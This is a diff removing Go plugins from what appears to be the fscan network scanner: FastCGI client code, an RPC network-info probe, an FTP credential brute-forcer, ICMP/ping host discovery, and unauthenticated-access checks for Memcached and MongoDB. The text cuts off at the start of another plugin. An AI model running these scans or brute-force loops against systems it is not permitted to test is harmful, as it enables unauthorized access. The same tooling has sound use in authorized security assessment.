||||
FCGI_STDIN
|
||||
FCGI_STDOUT
|
||||
FCGI_STDERR
|
||||
)
|
||||
|
||||
const (
|
||||
FCGI_RESPONDER uint8 = iota + 1
|
||||
)
|
||||
|
||||
const (
|
||||
maxWrite = 6553500 // maximum record body
|
||||
maxPad = 255
|
||||
)
|
||||
|
||||
type header struct {
|
||||
Version uint8
|
||||
Type uint8
|
||||
Id uint16
|
||||
ContentLength uint16
|
||||
PaddingLength uint8
|
||||
Reserved uint8
|
||||
}
|
||||
|
||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
||||
h.Version = 1
|
||||
h.Type = recType
|
||||
h.Id = reqId
|
||||
h.ContentLength = uint16(contentLength)
|
||||
h.PaddingLength = uint8(-contentLength & 7)
|
||||
}
|
||||
|
||||
type record struct {
|
||||
h header
|
||||
buf [maxWrite + maxPad]byte
|
||||
}
|
||||
|
||||
func (rec *record) read(r io.Reader) (err error) {
|
||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if rec.h.Version != 1 {
|
||||
return errors.New("fcgi: invalid header version")
|
||||
}
|
||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *record) content() []byte {
|
||||
return r.buf[:r.h.ContentLength]
|
||||
}
|
||||
|
||||
type FCGIClient struct {
|
||||
mutex sync.Mutex
|
||||
rwc io.ReadWriteCloser
|
||||
h header
|
||||
buf bytes.Buffer
|
||||
keepAlive bool
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
this.mutex.Lock()
|
||||
defer this.mutex.Unlock()
|
||||
this.buf.Reset()
|
||||
this.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(content); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = this.rwc.Write(this.buf.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
||||
b := make([]byte, 8)
|
||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
||||
b[4] = protocolStatus
|
||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(this, recType, reqId)
|
||||
b := make([]byte, 8)
|
||||
for k, v := range pairs {
|
||||
n := encodeSize(b, uint32(len(k)))
|
||||
n += encodeSize(b[n:], uint32(len(v)))
|
||||
if _, err := w.Write(b[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(k); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(v); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
w.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func readSize(s []byte) (uint32, int) {
|
||||
if len(s) == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
size, n := uint32(s[0]), 1
|
||||
if size&(1<<7) != 0 {
|
||||
if len(s) < 4 {
|
||||
return 0, 0
|
||||
}
|
||||
n = 4
|
||||
size = binary.BigEndian.Uint32(s)
|
||||
size &^= 1 << 31
|
||||
}
|
||||
return size, n
|
||||
}
|
||||
|
||||
func readString(s []byte, size uint32) string {
|
||||
if size > uint32(len(s)) {
|
||||
return ""
|
||||
}
|
||||
return string(s[:size])
|
||||
}
|
||||
|
||||
func encodeSize(b []byte, size uint32) int {
|
||||
if size > 127 {
|
||||
size |= 1 << 31
|
||||
binary.BigEndian.PutUint32(b, size)
|
||||
return 4
|
||||
}
|
||||
b[0] = byte(size)
|
||||
return 1
|
||||
}
|
||||
|
||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
||||
// Closed.
|
||||
type bufWriter struct {
|
||||
closer io.Closer
|
||||
*bufio.Writer
|
||||
}
|
||||
|
||||
func (w *bufWriter) Close() error {
|
||||
if err := w.Writer.Flush(); err != nil {
|
||||
w.closer.Close()
|
||||
return err
|
||||
}
|
||||
return w.closer.Close()
|
||||
}
|
||||
|
||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
||||
w := bufio.NewWriterSize(s, maxWrite)
|
||||
return &bufWriter{s, w}
|
||||
}
|
||||
|
||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
||||
// It only writes maxWrite bytes at a time.
|
||||
type streamWriter struct {
|
||||
c *FCGIClient
|
||||
recType uint8
|
||||
reqId uint16
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
nn := 0
|
||||
for len(p) > 0 {
|
||||
n := len(p)
|
||||
if n > maxWrite {
|
||||
n = maxWrite
|
||||
}
|
||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
||||
return nn, err
|
||||
}
|
||||
nn += n
|
||||
p = p[n:]
|
||||
}
|
||||
return nn, nil
|
||||
}
|
||||
|
||||
func (w *streamWriter) Close() error {
|
||||
// send empty record to close the stream
|
||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
|
||||
var reqId uint16 = 1
|
||||
defer this.rwc.Close()
|
||||
|
||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(reqStr) > 0 {
|
||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
rec := &record{}
|
||||
var err1 error
|
||||
|
||||
// recive untill EOF or FCGI_END_REQUEST
|
||||
for {
|
||||
err1 = rec.read(this.rwc)
|
||||
if err1 != nil {
|
||||
if err1 != io.EOF {
|
||||
err = err1
|
||||
}
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case rec.h.Type == FCGI_STDOUT:
|
||||
retout = append(retout, rec.content()...)
|
||||
case rec.h.Type == FCGI_STDERR:
|
||||
reterr = append(reterr, rec.content()...)
|
||||
case rec.h.Type == FCGI_END_REQUEST:
|
||||
fallthrough
|
||||
default:
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,123 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV2)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return err
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag {
|
||||
return err
|
||||
}
|
||||
err = read(text, info.Host)
|
||||
return err
|
||||
}
|
||||
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
sText := ""
|
||||
if len(src)%4 != 0 {
|
||||
src += src[:len(src)-len(src)%4]
|
||||
}
|
||||
for i := 0; i < len(src); i = i + 4 {
|
||||
sText += "\\u" + src[i+2:i+4] + src[i:i+2]
|
||||
}
|
||||
|
||||
textUnquoted := sText
|
||||
sUnicodev := strings.Split(textUnquoted, "\\u")
|
||||
var context string
|
||||
for _, v := range sUnicodev {
|
||||
if len(v) < 1 {
|
||||
continue
|
||||
}
|
||||
temp, err := strconv.ParseInt(v, 16, 32)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
context += fmt.Sprintf("%c", temp)
|
||||
}
|
||||
return context
|
||||
}
|
||||
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
hn := ""
|
||||
for i := 0; i < len(encodedStr)-4; i = i + 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hn += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
var name string
|
||||
name = HexUnicodeStringToString(hn)
|
||||
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "[*] NetInfo \n[*]" + host
|
||||
if name != "" {
|
||||
result += "\n [->]" + name
|
||||
}
|
||||
hostname = hostname[1:]
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host, err := hex.DecodeString(hostname[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result += "\n [->]" + string(host)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
@@ -1,79 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
if err == nil {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
//defer conn.Logout()
|
||||
if err == nil {
|
||||
if len(dirs) > 0 {
|
||||
for i := 0; i < len(dirs); i++ {
|
||||
if len(dirs[i].Name) > 50 {
|
||||
result += "\n [->]" + dirs[i].Name[:50]
|
||||
} else {
|
||||
result += "\n [->]" + dirs[i].Name
|
||||
}
|
||||
if i == 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
-314
@@ -1,314 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string
|
||||
OS = runtime.GOOS
|
||||
ExistHosts = make(map[string]struct{})
|
||||
livewg sync.WaitGroup
|
||||
)
|
||||
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
if Ping == false {
|
||||
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
|
||||
} else {
|
||||
fmt.Printf("(ping) Target %-15s is alive\n", ip)
|
||||
}
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
if Ping == true {
|
||||
//使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
//优先尝试监听本地icmp,批量探测
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//尝试无监听icmp探测
|
||||
fmt.Println("trying RunIcmp2")
|
||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//使用ping探测
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
//根据hosts数量修改icmp监听时间
|
||||
start := time.Now()
|
||||
for {
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
since := time.Since(start)
|
||||
var wait time.Duration
|
||||
switch {
|
||||
case len(hostslist) <= 256:
|
||||
wait = time.Second * 3
|
||||
default:
|
||||
wait = time.Second * 6
|
||||
}
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var bsenv = ""
|
||||
if OS != "windows" {
|
||||
bsenv = "/bin/bash"
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string, bsenv string) bool {
|
||||
var command *exec.Cmd
|
||||
if OS == "windows" {
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if OS == "linux" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if OS == "darwin" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
}
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err = command.Wait(); err != nil {
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(outinfo.String(), "true") {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
id0, id1 := genIdentifier(host)
|
||||
msg[0] = 8
|
||||
msg[1] = 0
|
||||
msg[2] = 0
|
||||
msg[3] = 0
|
||||
msg[4], msg[5] = id0, id1
|
||||
msg[6], msg[7] = genSequence(1)
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8)
|
||||
msg[3] = byte(check & 255)
|
||||
return msg
|
||||
}
|
||||
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
answer := uint16(^sum)
|
||||
return answer
|
||||
}
|
||||
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8)
|
||||
ret2 := byte(v & 255)
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1]
|
||||
}
|
||||
|
||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
||||
if len(arrInit) == 0 {
|
||||
return
|
||||
}
|
||||
arrMap1 := make(map[string]int)
|
||||
arrMap2 := make(map[string]int)
|
||||
for _, value := range arrInit {
|
||||
line := strings.Split(value, ".")
|
||||
if len(line) == 4 {
|
||||
if flag {
|
||||
value = fmt.Sprintf("%s.%s", line[0], line[1])
|
||||
} else {
|
||||
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
|
||||
}
|
||||
}
|
||||
if arrMap1[value] != 0 {
|
||||
arrMap1[value]++
|
||||
} else {
|
||||
arrMap1[value] = 1
|
||||
}
|
||||
}
|
||||
for k, v := range arrMap1 {
|
||||
arrMap2[k] = v
|
||||
}
|
||||
|
||||
i := 0
|
||||
for range arrMap1 {
|
||||
var maxCountKey string
|
||||
var maxCountVal = 0
|
||||
for key, val := range arrMap2 {
|
||||
if val > maxCountVal {
|
||||
maxCountVal = val
|
||||
maxCountKey = key
|
||||
}
|
||||
}
|
||||
arrTop = append(arrTop, maxCountKey)
|
||||
arrLen = append(arrLen, maxCountVal)
|
||||
i++
|
||||
if i >= length {
|
||||
return
|
||||
}
|
||||
delete(arrMap2, maxCountKey)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if client != nil {
|
||||
client.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -1,86 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
// op_msg
|
||||
packet1 := []byte{
|
||||
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||
0x39, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
//op_query
|
||||
packet2 := []byte{
|
||||
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||
0x02, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||
0x00, 0x00, 0x00, 0x00, // flags
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||
// query db.adminCommand({getLog: "startupWarnings"})
|
||||
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
checkUnAuth := func(address string, packet []byte) (string, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, err = conn.Write(packet)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(reply[0:count]), nil
|
||||
}
|
||||
|
||||
// send OP_MSG first
|
||||
reply, err := checkUnAuth(realhost, packet1)
|
||||
if err != nil {
|
||||
reply, err = checkUnAuth(realhost, packet2)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
}
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,165 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
